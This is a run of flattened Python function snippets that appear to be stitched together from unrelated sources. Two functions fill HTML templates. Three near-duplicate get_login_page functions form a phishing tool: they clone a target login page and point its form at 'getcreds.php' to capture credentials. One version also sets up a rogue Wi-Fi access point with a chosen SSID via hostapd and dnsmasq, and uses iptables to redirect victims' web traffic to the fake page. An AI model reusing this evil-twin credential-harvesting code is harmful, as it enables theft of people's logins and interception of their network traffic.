def Go(self): f=open(localizePath(modPath(os.path.join("hints", "%s.html" % self.hint), self.hintModule))) html=f.read() f.close() for tag, value in self.args.items(): html=html.replace("$%s" % tag.upper(), value.encode('utf-8')) self.browser.SetPage(html.decode('utf-8')) if not self.title: self.title=self.browser.GetOpenedPageTitle() if self.title: self.SetTitle(self.title) else: self.SetTitle(xlt("%s hint") % adm.appTitle)
def Go(self): f = open( localizePath( modPath(os.path.join("hints", "%s.html" % self.hint), self.hintModule))) html = f.read() f.close() for tag, value in self.args.items(): html = html.replace("$%s" % tag.upper(), value.encode('utf-8')) self.browser.SetPage(html.decode('utf-8')) if not self.title: self.title = self.browser.GetOpenedPageTitle() if self.title: self.SetTitle(self.title) else: self.SetTitle(xlt("%s hint") % adm.appTitle)
def CreateHeader(localsettings): home = miscmethods.GetHome() username = localsettings.username time = datetime.datetime.today() time = time.strftime("%A %d %B %Y - %H:%M") inp = open(home + "/.evette/html/header.dat", "r") filecontents = inp.readlines() inp.close() html = "" for a in filecontents: html = html + a html = html.replace("$$user$$", username).replace("$$time$$", time) return html
def get_login_page(): def ask(parent=None, message='', default_value=''): dlg = wx.TextEntryDialog(parent, message, defaultValue=default_value) dlg.ShowModal() result = dlg.GetValue() dlg.Destroy() return result # target_url = str(ask(message='Enter the target URL')).strip() httplib.HTTPConnection.debuglevel = 1 request = urllib2.Request(target_url) opener = urllib2.build_opener( redirecthandle.SmartRedirectHandler()) f = opener.open(request) ##article = re.sub(r'(?is)</html>.+', '</html>', article) redirect = f.url ##response = urllib2.urlopen('https://google.com') html = f.read() #print "Found the login page here: " + f.url ########## regex search and replace regex = re.search(r'action="([^"]*)".*?', html) post_action = str(regex.group(0)) #~ print "*" * 20 #~ print 'modifying the login page...' new_login = html.replace(post_action, 'action=getcreds.php') ##### create a login page index_page = open('/var/www/index2.html', 'wb') index_page.write(new_login) index_page.close() ############# MOFIYING THE POST SCRIPT myhtml = open('/var/www/index2.html', 'r') read_html = myhtml.read() myhtml.close() number = 0 html_proc = BeautifulSoup(read_html) inputs = html_proc.findAll('input') panel = wx.Panel(self, -1) wx.StaticText(panel, -1, '') #self.bSoup = wx.TextCtrl(panel, -1, "", style=wx.TE_MULTILINE,pos=(30, 200),size=(500,350)) #input_file = open('input_file.txt', 'wb') #self.bSoup.AppendText('adsf') for i in inputs: #print str(number) +": " +str(i) number = number + 1 self.bSoup.AppendText(str(number) + ": " + str(i) + "\n") # input_file.write(str(number) +": " +str(i)) #input_file.close() def ask(parent=None, message='', default_value=''): dlg = wx.TextEntryDialog(parent, message, defaultValue=default_value) dlg.ShowModal() result = dlg.GetValue() dlg.Destroy() return result #username_select = input('Please choose the username or email ID in numeric representation: ') user = str(ask(message='Enter Username/Email')).strip() password = str(ask(message='Enter Password')).strip() tmp = read_html.replace('name="' + user + '"', 'name="username"').replace( 'name="' + password + '"', 'name="password"') new_page = open('/var/www/index.html', 'wb') new_page.write(tmp) new_page.close() os.system('firefox http://localhost/index.html &')
def get_login_page(): # httplib.HTTPConnection.debuglevel=1 request = urllib2.Request('http://localhost/login.html') opener = urllib2.build_opener(redirecthandle.SmartRedirectHandler()) f = opener.open(request) ##article = re.sub(r'(?is)</html>.+', '</html>', article) redirect = f.url ##response = urllib2.urlopen('https://google.com') html = f.read() #print "Found the login page here: " + f.url ########## regex search and replace regex = re.search(r'action="([^"]*)".*?', html) post_action = str(regex.group(0)) #~ print "*" * 20 #~ print 'modifying the login page...' new_login = html.replace(post_action, 'action=getcreds.php') ##### create a login page index_page = open('/var/www/index2.html','wb') index_page.write(new_login) index_page.close() ############# MOFIYING THE POST SCRIPT myhtml = open('/var/www/index2.html', 'r') read_html = myhtml.read() myhtml.close() number = 0 html_proc = BeautifulSoup(read_html) inputs = html_proc.findAll('input') panel = wx.Panel(self,-1) #wx.StaticText(panel, -1, '') #self.bSoup = wx.TextCtrl(panel, -1, "Please select the username and password from the form", style=wx.TE_MULTILINE,pos=(30, 200),size=(500,350)) for i in inputs: print str(number) +": " +str(i) number = number + 1 self.bSoup.AppendText(str(number) +": " +str(i)+"\n") def ask(parent=None, message='', default_value=''): dlg = wx.TextEntryDialog(parent, message, defaultValue=default_value) dlg.ShowModal() result = dlg.GetValue() dlg.Destroy() return result #username_select = input('Please choose the username or email ID in numeric representation: ') user = str(ask(message = 'Enter Username')).strip() password = str(ask(message = 'Enter Password')).strip() ssid = str(ask(message = 'Enter the SSID')).strip() tmp = read_html.replace('name="'+user+'"','name="username"').replace('name="'+password+'"', 'name="password"') new_page = open('/var/www/index.html', 'wb') new_page.write(tmp) new_page.close() os.system('firefox http://localhost/index.html &') time.sleep(3) #mon_interface = Popen(["airmon-ng", "start", wireless_interface], stdout=PIPE).communicate()[0] hostapd = open('/etc/hostapd/hostapd.conf', 'wb') #~ config_file = "interface="+wireless_interface+"\ndriver=nl80211\nssid=thisisme\nchannel=1\n#enable_karma=1\n" config_file = "interface=wlan0\ndriver=nl80211\nssid="+str(ssid)+"\nchannel=1\n#enable_karma=1\n" hostapd.write(config_file) hostapd.close() os.system("service hostapd start") os.system("""sed -i 's#^DAEMON_CONF=.*#DAEMON_CONF=/etc/hostapd/hostapd.conf#' /etc/init.d/hostapd cat <<EOF > /etc/dnsmasq.conf log-facility=/var/log/dnsmasq.log #address=/#/10.0.0.1 #address=/google.com/10.0.0.1 interface=wlan0 dhcp-range=10.0.0.10,10.0.0.250,12h dhcp-option=3,10.0.0.1 dhcp-option=6,10.0.0.1 #no-resolv log-queries EOF""") os.system("service dnsmasq start") #~ os.system("""ifconfig wlan0 up #~ ifconfig wlan0 10.0.0.1/24 #~ #~ iptables -t nat -F #~ iptables -F #~ iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE #~ iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT #~ echo '1' > /proc/sys/net/ipv4/ip_forward""") #~ print "finished the setup of nat" #~ os.system("""ifconfig wlan0 up #~ ifconfig wlan0 10.0.0.1/24 #~ iptables --flush #~ iptables --table nat --flush #~ iptables --delete-chain #~ iptables --table nat --delete-chain #~ echo 1 > /proc/sys/net/ipv4/ip_forward #~ iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE #~ iptables --append FORWARD --in-interface at0 -j ACCEPT #~ iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:80 #~ iptables -t nat -A POSTROUTING -j MASQUERADE""") os.system("""ifconfig wlan0 up ifconfig wlan0 10.0.0.1/24 iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain echo 1 > /proc/sys/net/ipv4/ip_forward iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --append FORWARD --in-interface at0 -j ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:80 iptables -t nat -A POSTROUTING -j MASQUERADE""") print "finished the setup of nat"
def get_login_page(): def ask(parent=None, message='', default_value=''): dlg = wx.TextEntryDialog(parent, message, defaultValue=default_value) dlg.ShowModal() result = dlg.GetValue() dlg.Destroy() return result # target_url = str(ask(message = 'Enter the target URL')).strip() httplib.HTTPConnection.debuglevel=1 request = urllib2.Request(target_url) opener = urllib2.build_opener(redirecthandle.SmartRedirectHandler()) f = opener.open(request) ##article = re.sub(r'(?is)</html>.+', '</html>', article) redirect = f.url ##response = urllib2.urlopen('https://google.com') html = f.read() #print "Found the login page here: " + f.url ########## regex search and replace regex = re.search(r'action="([^"]*)".*?', html) post_action = str(regex.group(0)) #~ print "*" * 20 #~ print 'modifying the login page...' new_login = html.replace(post_action, 'action=getcreds.php') ##### create a login page index_page = open('/var/www/index2.html','wb') index_page.write(new_login) index_page.close() ############# MOFIYING THE POST SCRIPT myhtml = open('/var/www/index2.html', 'r') read_html = myhtml.read() myhtml.close() number = 0 html_proc = BeautifulSoup(read_html) inputs = html_proc.findAll('input') panel = wx.Panel(self,-1) wx.StaticText(panel, -1, '') #self.bSoup = wx.TextCtrl(panel, -1, "", style=wx.TE_MULTILINE,pos=(30, 200),size=(500,350)) #input_file = open('input_file.txt', 'wb') #self.bSoup.AppendText('adsf') for i in inputs: #print str(number) +": " +str(i) number = number + 1 self.bSoup.AppendText(str(number) +": " +str(i)+"\n") # input_file.write(str(number) +": " +str(i)) #input_file.close() def ask(parent=None, message='', default_value=''): dlg = wx.TextEntryDialog(parent, message, defaultValue=default_value) dlg.ShowModal() result = dlg.GetValue() dlg.Destroy() return result #username_select = input('Please choose the username or email ID in numeric representation: ') user = str(ask(message = 'Enter Username/Email')).strip() password = str(ask(message = 'Enter Password')).strip() tmp = read_html.replace('name="'+user+'"','name="username"').replace('name="'+password+'"', 'name="password"') new_page = open('/var/www/index.html', 'wb') new_page.write(tmp) new_page.close() os.system('firefox http://localhost/index.html &')